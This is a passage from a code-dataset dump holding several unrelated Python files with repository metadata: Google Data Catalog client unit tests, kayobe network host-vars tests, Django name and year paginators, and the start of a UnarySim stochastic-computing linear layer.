mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request name = client.field_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]", "[FIELD]") force = False with pytest.raises(CustomException): client.delete_tag_template_field(name, force) def test_create_tag(self): # Setup Expected Response name = "name3373707" template = "template-1321546630" template_display_name = "templateDisplayName-532252787" column = "column-1354837162" expected_response = { "name": name, "template": template, "template_display_name": template_display_name, "column": column, } expected_response = tags_pb2.Tag(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request parent = client.entry_path( "[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]", "[ENTRY]" ) tag = {} response = client.create_tag(parent, tag) assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.CreateTagRequest(parent=parent, tag=tag) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_create_tag_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request parent = client.entry_path( "[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]", "[ENTRY]" ) tag = {} with pytest.raises(CustomException): client.create_tag(parent, tag) def test_update_tag(self): # Setup Expected Response name = "name3373707" template = "template-1321546630" template_display_name = "templateDisplayName-532252787" column = "column-1354837162" expected_response = { "name": name, "template": template, "template_display_name": template_display_name, "column": column, } expected_response = tags_pb2.Tag(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request tag = {} response = client.update_tag(tag) assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.UpdateTagRequest(tag=tag) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_update_tag_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request tag = {} with pytest.raises(CustomException): client.update_tag(tag) def test_delete_tag(self): channel = ChannelStub() patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request name = client.tag_path( "[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]", "[ENTRY]", "[TAG]" ) client.delete_tag(name) assert len(channel.requests) == 1 expected_request = datacatalog_pb2.DeleteTagRequest(name=name) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_delete_tag_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request name = client.tag_path( "[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]", "[ENTRY]", "[TAG]" ) with pytest.raises(CustomException): client.delete_tag(name) def test_list_tags(self): # Setup Expected Response next_page_token = "" tags_element = {} tags = [tags_element] expected_response = {"next_page_token": next_page_token, "tags": tags} expected_response = datacatalog_pb2.ListTagsResponse(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request parent = client.entry_path( "[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]", "[ENTRY]" ) paged_list_response = client.list_tags(parent) resources = list(paged_list_response) assert len(resources) == 1 assert expected_response.tags[0] == resources[0] assert len(channel.requests) == 1 expected_request = datacatalog_pb2.ListTagsRequest(parent=parent) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_list_tags_exception(self): channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request parent = client.entry_path( "[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]", "[ENTRY]" ) paged_list_response = client.list_tags(parent) with pytest.raises(CustomException): list(paged_list_response) def test_set_iam_policy(self): # Setup Expected Response version = 351608024 etag = b"21" expected_response = {"version": version, "etag": etag} expected_response = policy_pb2.Policy(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request resource = client.tag_template_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]") policy = {} response = client.set_iam_policy(resource, policy) assert expected_response == response assert len(channel.requests) == 1 expected_request = iam_policy_pb2.SetIamPolicyRequest( resource=resource, policy=policy ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_set_iam_policy_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request resource = client.tag_template_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]") policy = {} with pytest.raises(CustomException): client.set_iam_policy(resource, policy) def test_get_iam_policy(self): # Setup Expected Response version = 351608024 etag = b"21" expected_response = {"version": version, "etag": etag} expected_response = policy_pb2.Policy(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request resource = client.tag_template_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]") response = client.get_iam_policy(resource) assert expected_response == response assert len(channel.requests) == 1 expected_request = iam_policy_pb2.GetIamPolicyRequest(resource=resource) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_get_iam_policy_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request resource = client.tag_template_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]") with pytest.raises(CustomException): client.get_iam_policy(resource) def test_test_iam_permissions(self): # Setup Expected Response expected_response = {} expected_response = iam_policy_pb2.TestIamPermissionsResponse( **expected_response ) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request resource = client.tag_template_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]") permissions = [] response = client.test_iam_permissions(resource, permissions) assert expected_response == response assert len(channel.requests) == 1 expected_request = iam_policy_pb2.TestIamPermissionsRequest( resource=resource, permissions=permissions ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_test_iam_permissions_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request resource = client.tag_template_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]") permissions = [] with pytest.raises(CustomException): client.test_iam_permissions(resource, permissions)

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Python

bartender/users/generators.py

autiwg/bartender

1c26aefb777a01ce527745c543e60b11a972fe5d

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null

bartender/users/generators.py

autiwg/bartender

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bartender/users/generators.py

autiwg/bartender

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eran/NNet/nnet/ACASXU_run2a_1_1_batch_2000_16bit.pyt

pauls658/ReluDiff-ICSE2020-Artifact

212854fe04f482183c239e5dfec70106a9a83df8

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7

2020-01-27T21:25:49.000Z

2022-01-07T04:37:37.000Z

eran/NNet/nnet/ACASXU_run2a_1_1_batch_2000_16bit.pyt

yqtianust/ReluDiff-ICSE2020-Artifact

149f6efe4799602db749faa576980c36921a07c7

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2022-01-25T17:41:54.000Z

2022-01-26T02:27:51.000Z

eran/NNet/nnet/ACASXU_run2a_1_1_batch_2000_16bit.pyt

yqtianust/ReluDiff-ICSE2020-Artifact

149f6efe4799602db749faa576980c36921a07c7

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2022-03-16T09:50:46.000Z

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43ec63d8644e06a36d77352d2678224a18955546

14,895

py

Python

kayobe/tests/unit/plugins/action/test_kolla_ansible_host_vars.py

G-Research/kayobe

80c13e75deb4bff94c5bfe2fd79bb9beecb71873

[ "Apache-2.0" ]

48

2018-03-08T13:34:34.000Z

2022-03-14T15:42:20.000Z

kayobe/tests/unit/plugins/action/test_kolla_ansible_host_vars.py

chazzrobbz/kayobe

5fb6362e2548afdc2ea824678e565ef81cdbcaa5

[ "Apache-2.0" ]

null

kayobe/tests/unit/plugins/action/test_kolla_ansible_host_vars.py

chazzrobbz/kayobe

5fb6362e2548afdc2ea824678e565ef81cdbcaa5

[ "Apache-2.0" ]

25

2018-04-23T07:51:31.000Z

2022-03-14T15:42:22.000Z

# Copyright (c) 2020 StackHPC Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import copy import unittest import jinja2 from kayobe.plugins.action import kolla_ansible_host_vars @jinja2.contextfilter def _net_interface(context, name): return context.get(name + '_interface') @jinja2.contextfilter def _net_vlan(context, name): return context.get(name + '_vlan') @jinja2.contextfilter def _net_select_bridges(context, names): return [name for name in names if (_net_interface(context, name) or "").startswith("br")] class FakeTemplar(object): def __init__(self, variables): self.variables = variables self.env = jinja2.Environment() self.env.filters['net_interface'] = _net_interface self.env.filters['net_vlan'] = _net_vlan self.env.filters['net_select_bridges'] = _net_select_bridges def template(self, string): template = self.env.from_string(string) result = template.render(**self.variables) return { "None": None, "True": True, "False": False, }.get(result, result) class TestCase(unittest.TestCase): variables = { "network_interfaces": [ "foo", "bar", ], "foo_interface": "eth0", "foo_vlan": 1, "bar_interface": "eth1", "bar_vlan": 2, "network_bridge_suffix_ovs": "-ovs", "network_patch_prefix": "p-", "network_patch_suffix_ovs": "-ovs", } def _create_module(self, variables=None): if not variables: variables = self.variables templar = FakeTemplar(variables) return kolla_ansible_host_vars.ActionModule(None, None, None, None, templar, None) def test__run_empty_args(self): module = self._create_module() result = module._run([], []) expected = { "changed": False, "ansible_facts": {}, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test__run_one_interface(self): module = self._create_module() interfaces = [{ "var_name": "kolla_foo_interface", "network": "foo", "description": "Foo network", "required": False, }] result = module._run(interfaces, []) expected = { "changed": False, "ansible_facts": { "kolla_foo_interface": "eth0", }, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test__run_two_interfaces(self): module = self._create_module() interfaces = [{ "var_name": "kolla_foo_interface", "network": "foo", "description": "Foo network", "required": False, }, { "var_name": "kolla_bar_interface", "network": "bar", "description": "Bar network", "required": False, }] result = module._run(interfaces, []) expected = { "changed": False, "ansible_facts": { "kolla_foo_interface": "eth0", "kolla_bar_interface": "eth1", }, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test__run_one_with_dashes(self): variables = copy.deepcopy(self.variables) variables["foo_interface"] = "eth-0" module = self._create_module(variables) interfaces = [{ "var_name": "kolla_foo_interface", "network": "foo", "description": "Foo network", "required": False, }] result = module._run(interfaces, []) expected = { "changed": False, "ansible_facts": { "kolla_foo_interface": "eth_0", }, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test__run_interface_not_mapped(self): module = self._create_module() interfaces = [{ "var_name": "kolla_baz_interface", "network": "baz", "description": "Baz network", "required": True, }] result = module._run(interfaces, []) expected = { "changed": False, "failed": True, "msg": ("Required network 'baz' (Baz network) is not mapped to " "this host"), } self.assertEqual(expected, result) def test__run_interface_not_mapped_not_required(self): module = self._create_module() interfaces = [{ "var_name": "kolla_baz_interface", "network": "baz", "description": "Baz network", "required": False, }] result = module._run(interfaces, []) expected = { "changed": False, "ansible_facts": {}, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test__run_interface_no_interface(self): variables = copy.deepcopy(self.variables) del variables["bar_interface"] module = self._create_module(variables) interfaces = [{ "var_name": "kolla_bar_interface", "network": "bar", "description": "Bar network", "required": True, }] result = module._run(interfaces, []) expected = { "changed": False, "failed": True, "msg": ("Required network 'bar' (Bar network) does not have an " "interface configured for this host"), } self.assertEqual(expected, result) def test__run_interface_no_interface_not_required(self): variables = copy.deepcopy(self.variables) del variables["bar_interface"] module = self._create_module(variables) interfaces = [{ "var_name": "kolla_bar_interface", "network": "bar", "description": "Bar network", "required": False, }] result = module._run(interfaces, []) expected = { "changed": False, "ansible_facts": {}, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test__run_interface_no_interface_not_mapped(self): variables = copy.deepcopy(self.variables) del variables["bar_interface"] module = self._create_module(variables) interfaces = [{ "var_name": "kolla_bar_interface", "network": "bar", "description": "Bar network", "required": True, }, { "var_name": "kolla_baz_interface", "network": "baz", "description": "Baz network", "required": True, }] result = module._run(interfaces, []) expected = { "changed": False, "failed": True, "msg": ("Required network 'bar' (Bar network) does not have an " "interface configured for this host; Required network " "'baz' (Baz network) is not mapped to this host"), } self.assertEqual(expected, result) def test_run_external_networks_one(self): module = self._create_module() external_networks = [{ "network": "foo", "required": False, }] result = module._run([], external_networks) expected = { "changed": False, "ansible_facts": { "kolla_neutron_bridge_names": "eth0-ovs", "kolla_neutron_external_interfaces": "eth0", }, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test_run_external_networks_two(self): module = self._create_module() external_networks = [{ "network": "foo", "required": False, }, { "network": "bar", "required": False, }] result = module._run([], external_networks) expected = { "changed": False, "ansible_facts": { "kolla_neutron_bridge_names": "eth0-ovs,eth1-ovs", "kolla_neutron_external_interfaces": "eth0,eth1", }, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test_run_external_networks_two_same_interface(self): variables = copy.deepcopy(self.variables) variables["bar_interface"] = "eth0" module = self._create_module(variables) external_networks = [{ "network": "foo", "required": False, }, { "network": "bar", "required": False, }] result = module._run([], external_networks) expected = { "changed": False, "ansible_facts": { "kolla_neutron_bridge_names": "eth0-ovs", "kolla_neutron_external_interfaces": "eth0", }, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test_run_external_networks_two_vlans(self): variables = copy.deepcopy(self.variables) variables["foo_interface"] = "eth0.1" variables["bar_interface"] = "eth0.2" module = self._create_module(variables) external_networks = [{ "network": "foo", "required": False, }, { "network": "bar", "required": False, }] result = module._run([], external_networks) expected = { "changed": False, "ansible_facts": { "kolla_neutron_bridge_names": "eth0-ovs", "kolla_neutron_external_interfaces": "eth0", }, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test_run_external_networks_bridge(self): variables = copy.deepcopy(self.variables) variables["foo_interface"] = "breth0" module = self._create_module(variables) external_networks = [{ "network": "foo", "required": False, }] result = module._run([], external_networks) expected = { "changed": False, "ansible_facts": { "kolla_neutron_bridge_names": "breth0-ovs", "kolla_neutron_external_interfaces": "p-breth0-ovs", }, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test_run_external_networks_bridge_vlan(self): variables = copy.deepcopy(self.variables) variables["foo_interface"] = "breth0.1" variables["bar_interface"] = "breth0" module = self._create_module(variables) external_networks = [{ "network": "foo", "required": False, }] result = module._run([], external_networks) expected = { "changed": False, "ansible_facts": { "kolla_neutron_bridge_names": "breth0-ovs", "kolla_neutron_external_interfaces": "p-breth0-ovs", }, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test_run_external_networks_not_mapped(self): module = self._create_module() external_networks = [{ "network": "baz", "required": True, }] result = module._run([], external_networks) expected = { "changed": False, "failed": True, "msg": ("Required external network 'baz' is not mapped to " "this host"), } self.assertEqual(expected, result) def test_run_external_networks_not_mapped_not_required(self): module = self._create_module() external_networks = [{ "network": "baz", "required": False, }] result = module._run([], external_networks) expected = { "changed": False, "ansible_facts": {}, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test_run_external_networks_no_interface(self): variables = copy.deepcopy(self.variables) del variables["bar_interface"] module = self._create_module(variables) external_networks = [{ "network": "bar", "required": True, }] result = module._run([], external_networks) expected = { "changed": False, "failed": True, "msg": ("Required external network 'bar' does not have an " "interface configured for this host"), } self.assertEqual(expected, result) def test_run_external_networks_no_interface_not_required(self): variables = copy.deepcopy(self.variables) del variables["bar_interface"] module = self._create_module(variables) external_networks = [{ "network": "bar", "required": False, }] result = module._run([], external_networks) expected = { "changed": False, "ansible_facts": {}, "_ansible_facts_cacheable": False, } self.assertEqual(expected, result) def test_run_external_networks_not_mapped_no_interface(self): variables = copy.deepcopy(self.variables) del variables["bar_interface"] module = self._create_module(variables) external_networks = [{ "network": "baz", "required": True, }, { "network": "bar", "required": True, }] result = module._run([], external_networks) expected = { "changed": False, "failed": True, "msg": ("Required external network 'baz' is not mapped to " "this host; Required external network 'bar' does not " "have an interface configured for this host"), } self.assertEqual(expected, result)

33.026608

76

0.551326

1,364

14,895

5.741202

0.113636

0.067424

0.053378

0.056187

0.800664

0.797344

0.782786

0.775635

0.753799

0

0.004534

0.333602

14,895

450

77

33.1

0.784405

0.037261

0

0.7175

0

0.225115

0.051585

0

0.05

1

0.065

false

0

0.01

0.0075

0.095

0

null

0

1

0

1

0

null

0

7

43ef42922307dc7176868d049c72805c8ccffe39

7,165

py

Python

crossref/paginators.py

SSJenny90/django-publications

6ca302a6384c60cd161755fe6c757a4412101e99

[ "MIT" ]

null

crossref/paginators.py

SSJenny90/django-publications

6ca302a6384c60cd161755fe6c757a4412101e99

[ "MIT" ]

null

crossref/paginators.py

SSJenny90/django-publications

6ca302a6384c60cd161755fe6c757a4412101e99

[ "MIT" ]

null

from django.core.paginator import InvalidPage class NamePaginator(object): """Pagination for string-based objects""" def __init__(self, object_list, on=None, per_page=25): self.object_list = object_list self.count = len(object_list) self.pages = [] # chunk up the objects so we don't need to iterate over the whole list for each letter chunks = {} for obj in self.object_list: if on: obj_str = str(getattr(obj, on)) else: obj_str = str(obj) letter = str.upper(obj_str) if letter not in chunks: chunks[letter] = [] chunks[letter].append(obj) # the process for assigning objects to each page current_page = NamePage(self) # nums = list(range(int(min(chunks.keys())),int(max(chunks.keys())))) for num in chunks.keys(): num = str(num) if num not in chunks: current_page.add([], num) continue sub_list = chunks[num] # the items in object_list starting with this letter new_page_count = len(sub_list) + current_page.count # first, check to see if sub_list will fit or it needs to go onto a new page. # if assigning this list will cause the page to overflow... # and an underflow is closer to per_page than an overflow... # and the page isn't empty (which means len(sub_list) > per_page)... if new_page_count > per_page and \ abs(per_page - current_page.count) < abs(per_page - new_page_count) and \ current_page.count > 0: # make a new page self.pages.append(current_page) current_page = NamePage(self) current_page.add(sub_list, num) # if we finished the for loop with a page that isn't empty, add it if current_page.count > 0: self.pages.append(current_page) def page(self, num): """Returns a Page object for the given 1-based page number.""" if len(self.pages) == 0: return None elif num > 0 and num <= len(self.pages): return self.pages[num-1] else: raise InvalidPage @property def num_pages(self): """Returns the total number of pages""" return len(self.pages) class NamePage(object): def __init__(self, paginator): self.paginator = paginator self.object_list = [] self.letters = [] @property def count(self): return len(self.object_list) @property def start_letter(self): if len(self.letters) > 0: self.letters.sort(key=str.upper) return self.letters[0] else: return None @property def end_letter(self): if len(self.letters) > 0: self.letters.sort(key=str.upper) return self.letters[-1] else: return None @property def number(self): return self.paginator.pages.index(self) + 1 def add(self, new_list, letter=None): if len(new_list) > 0: self.object_list = self.object_list + new_list if letter: self.letters.append(letter) def __repr__(self): if self.start_letter == self.end_letter: return str(self.start_letter) else: return f'{self.start_letter}-{self.end_letter}' class YearPaginator(object): """Pagination for date-based objects""" def __init__(self, object_list, on=None, per_page=25): self.object_list = object_list self.count = object_list.count() self.pages = [] # chunk up the objects so we don't need to iterate over the whole list for each letter chunks = {} for obj in self.object_list: for x in on.split('__'): letter = getattr(obj, x) if letter not in chunks: chunks[letter] = [] chunks[letter].append(obj) # the process for assigning objects to each page current_page = YearPage(self) # nums = list(range(int(min(chunks.keys())),int(max(chunks.keys())))) for num in chunks.keys(): if num not in chunks: current_page.add([], num) continue sub_list = chunks[num] # the items in object_list starting with this letter new_page_count = len(sub_list) + current_page.count # first, check to see if sub_list will fit or it needs to go onto a new page. # if assigning this list will cause the page to overflow... # and an underflow is closer to per_page than an overflow... # and the page isn't empty (which means len(sub_list) > per_page)... if new_page_count > per_page and \ abs(per_page - current_page.count) < abs(per_page - new_page_count) and \ current_page.count > 0: # make a new page self.pages.append(current_page) current_page = YearPage(self) current_page.add(sub_list, num) # if we finished the for loop with a page that isn't empty, add it if current_page.count > 0: self.pages.append(current_page) def page(self, num): """Returns a Page object for the given 1-based page number.""" if len(self.pages) == 0: return None elif num > 0 and num <= len(self.pages): return self.pages[num-1] else: raise InvalidPage @property def num_pages(self): """Returns the total number of pages""" return len(self.pages) class YearPage(object): def __init__(self, paginator): self.paginator = paginator self.object_list = [] self.letters = [] @property def count(self): return len(self.object_list) @property def start_letter(self): if len(self.letters) > 0: # self.letters.sort(key=str.upper) return self.letters[0] else: return None @property def end_letter(self): if len(self.letters) > 0: # self.letters.sort(key=str.upper) return self.letters[-1] else: return None @property def number(self): return self.paginator.pages.index(self) + 1 def add(self, new_list, letter=None): if len(new_list) > 0: self.object_list = self.object_list + new_list if letter: self.letters.append(letter) def __repr__(self): if self.start_letter == self.end_letter: return str(self.start_letter) else: return f'{self.end_letter}-{self.start_letter}'

32.568182

94

0.547802

896

7,165

4.241071

0.135045

0.052632

0.051579

0.017895

0.923158

0.914737

0.908421

0

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a10a48b14362db67789974efa63c236cc30ed241

69

py

Python

tests/tests_unit/test_api/relative_imports/bad_relative_import.py

AlexThunder/cognite-sdk-python-experimental

468d29e7809793ed45cef5da25dca22418839972

[ "Apache-2.0" ]

null

tests/tests_unit/test_api/relative_imports/bad_relative_import.py

AlexThunder/cognite-sdk-python-experimental

468d29e7809793ed45cef5da25dca22418839972

[ "Apache-2.0" ]

null

tests/tests_unit/test_api/relative_imports/bad_relative_import.py

AlexThunder/cognite-sdk-python-experimental

468d29e7809793ed45cef5da25dca22418839972

[ "Apache-2.0" ]

null

from .util import local_func def handle(): return local_func()

11.5

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null

0

1

0

1

0

8

a19e724b69f9674dac3392aa6ae485efccdb86dd

25,639

py

Python

sw/kernel/linear.py

libingzheren/UnarySim

226c46a4ddce2fbb71395e8fd8decff768dc3742

[ "MIT" ]

1

2021-08-04T10:33:06.000Z

sw/kernel/linear.py

libingzheren/Stochastic_Computing

c02461454618e9ce0c86ce695fad9e95d1ca5e00

[ "MIT" ]

null

sw/kernel/linear.py

libingzheren/Stochastic_Computing

c02461454618e9ce0c86ce695fad9e95d1ca5e00

[ "MIT" ]

null

import torch import math from UnarySim.sw.stream.gen import RNG, RNGMulti, SourceGen, BSGen, BSGenMulti class UnaryLinear(torch.nn.Module): """ this module is the fully connected layer, its API is similar to the parent class (input/output feature count, bias flag), except: 1) accumulation mode 2) unary data mode 3) binary data width 4) binary weight 5) binary bias """ def __init__(self, in_features, out_features, binary_weight=None, binary_bias=None, bitwidth=8, bias=True, mode="bipolar", scaled=True, btype=torch.float, rtype=torch.float, stype=torch.float): super(UnaryLinear, self).__init__() self.in_features = in_features self.out_features = out_features self.stype = stype self.btype = btype self.rtype = rtype # upper bound for accumulation counter in scaled mode self.acc_bound = torch.nn.Parameter(torch.zeros(1), requires_grad=False) self.acc_bound.add_(in_features) if bias is True: self.acc_bound.add_(1) self.mode = mode self.scaled = scaled # accumulation offset self.offset = torch.nn.Parameter(torch.zeros(1), requires_grad=False) if mode is "unipolar": pass elif mode is "bipolar": self.offset.add_((in_features-1)/2) if bias is True: self.offset.add_(1/2) else: raise ValueError("UnaryLinear mode is not implemented.") # bias indication for original linear layer self.has_bias = bias # data bit width self.bitwidth = bitwidth # random_sequence from sobol RNG self.rng = RNG(self.bitwidth, 1, "Sobol")() # define the convolution weight and bias self.buf_wght = SourceGen(binary_weight, bitwidth=self.bitwidth, mode=mode, rtype=rtype)() if self.has_bias is True: self.buf_bias = SourceGen(binary_bias, bitwidth=self.bitwidth, mode=mode, rtype=rtype)() # define the kernel linear self.kernel = torch.nn.Linear(self.in_features, self.out_features, bias=self.has_bias) self.buf_wght_bs = BSGen(self.buf_wght, self.rng, stype=stype) self.rng_wght_idx = torch.nn.Parameter(torch.zeros_like(self.kernel.weight, dtype=torch.long), requires_grad=False) if self.has_bias is True: self.buf_bias_bs = BSGen(self.buf_bias, self.rng, stype=stype) self.rng_bias_idx = torch.nn.Parameter(torch.zeros_like(self.kernel.bias, dtype=torch.long), requires_grad=False) # if bipolar, define a kernel with inverse input, note that there is no bias required for this inverse kernel if self.mode is "bipolar": self.kernel_inv = torch.nn.Linear(self.in_features, self.out_features, bias=False) self.buf_wght_bs_inv = BSGen(self.buf_wght, self.rng, stype=stype) self.rng_wght_idx_inv = torch.nn.Parameter(torch.zeros_like(self.kernel_inv.weight, dtype=torch.long), requires_grad=False) self.accumulator = torch.nn.Parameter(torch.zeros(1), requires_grad=False) if self.scaled is False: self.out_accumulator = torch.nn.Parameter(torch.zeros(1), requires_grad=False) def UnaryKernel_accumulation(self, input): # generate weight and bias bits for current cycle self.kernel.weight.data = self.buf_wght_bs(self.rng_wght_idx).type(torch.float) self.rng_wght_idx.add_(input.type(torch.long)) if self.has_bias is True: self.kernel.bias.data = self.buf_bias_bs(self.rng_bias_idx).type(torch.float) self.rng_bias_idx.add_(1) kernel_out = self.kernel(input.type(torch.float)) if self.mode is "unipolar": return kernel_out if self.mode is "bipolar": self.kernel_inv.weight.data = 1 - self.buf_wght_bs_inv(self.rng_wght_idx_inv).type(torch.float) self.rng_wght_idx_inv.add_(1 - input.type(torch.long)) kernel_out_inv = self.kernel_inv(1 - input.type(torch.float)) return kernel_out + kernel_out_inv def forward(self, input): kernel_out_total = self.UnaryKernel_accumulation(input) self.accumulator.data = self.accumulator.add(kernel_out_total) if self.scaled is True: output = torch.ge(self.accumulator, self.acc_bound).type(torch.float) self.accumulator.sub_(output * self.acc_bound) else: self.accumulator.sub_(self.offset) output = torch.gt(self.accumulator, self.out_accumulator).type(torch.float) self.out_accumulator.data = self.out_accumulator.add(output) return output.type(self.stype) class GainesLinear1(torch.nn.Module): """ gMUL + gADD this module is the fully connected layer, its API is similar to the parent class (input/output feature count, bias flag), except: 1) accumulation mode 2) unary data mode 3) binary data width 4) binary weight 5) binary bias """ def __init__(self, in_features, out_features, binary_weight=None, binary_bias=None, bitwidth=8, bias=True, mode="bipolar", scaled=True, depth=8, rng_idx=1): super(GainesLinear1, self).__init__() self.in_features = in_features self.out_features = out_features # upper bound for accumulation counter in non-scaled mode self.acc_bound = torch.nn.Parameter(torch.zeros(1), requires_grad=False) self.acc_bound.add_(in_features) if bias is True: self.acc_bound.add_(1) self.mode = mode self.scaled = scaled # accumulation offset self.offset = torch.nn.Parameter(torch.zeros(1), requires_grad=False) if mode is "unipolar": pass elif mode is "bipolar": self.offset.add_((in_features-1)/2) if bias is True: self.offset.add_(1/2) else: raise ValueError("UnaryLinear mode is not implemented.") # bias indication for original linear layer self.has_bias = bias # data bit width self.bitwidth = bitwidth # random_sequence from sobol RNG self.rng = RNGMulti(self.bitwidth, in_features, "Sobol")() self.rng_bias = RNG(self.bitwidth, in_features+1, "Sobol")() # define the convolution weight and bias self.buf_wght = SourceGen(binary_weight, bitwidth=self.bitwidth, mode=mode)() if self.has_bias is True: self.buf_bias = SourceGen(binary_bias, bitwidth=self.bitwidth, mode=mode)() # define the kernel linear self.kernel = torch.nn.Linear(self.in_features, self.out_features, bias=self.has_bias) self.buf_wght_bs = BSGenMulti(self.buf_wght, self.rng, dim=0) self.rng_wght_idx = torch.nn.Parameter(torch.zeros_like(self.kernel.weight, dtype=torch.long), requires_grad=False) if self.has_bias is True: self.buf_bias_bs = BSGen(self.buf_bias, self.rng_bias) self.rng_bias_idx = torch.nn.Parameter(torch.zeros_like(self.kernel.bias, dtype=torch.long), requires_grad=False) # if bipolar, define a kernel with inverse input, note that there is no bias required for this inverse kernel if self.mode is "bipolar": self.kernel_inv = torch.nn.Linear(self.in_features, self.out_features, bias=False) self.parallel_cnt = torch.nn.Parameter(torch.zeros(1, dtype=torch.long), requires_grad=False) if self.scaled is True: self.rng_scale = RNG(round(math.log2(self.acc_bound.item())), (rng_idx+5)%1111, "Sobol")() self.rng_scale_idx = torch.nn.Parameter(torch.zeros(1, dtype=torch.long), requires_grad=False) elif self.scaled is False: self.input_cnt = self.acc_bound.item() self.max = torch.nn.Parameter(torch.ones(1, dtype=torch.long).fill_(2**depth-1), requires_grad=False) self.half_max = torch.nn.Parameter(torch.ones(1, dtype=torch.long).fill_(2**(depth-1)), requires_grad=False) self.cnt = torch.nn.Parameter(torch.zeros(1, dtype=torch.long).fill_(2**(depth-1)), requires_grad=False) def GainesKernel_accumulation(self, input): # generate weight and bias bits for current cycle self.kernel.weight.data = self.buf_wght_bs(self.rng_wght_idx).type(torch.float) self.rng_wght_idx.add_(1) if self.has_bias is True: self.kernel.bias.data = self.buf_bias_bs(self.rng_bias_idx).type(torch.float) self.rng_bias_idx.add_(1) kernel_out = self.kernel(input.type(torch.float)) if self.mode is "unipolar": return kernel_out if self.mode is "bipolar": self.kernel_inv.weight.data = 1 - self.kernel.weight.data kernel_out_inv = 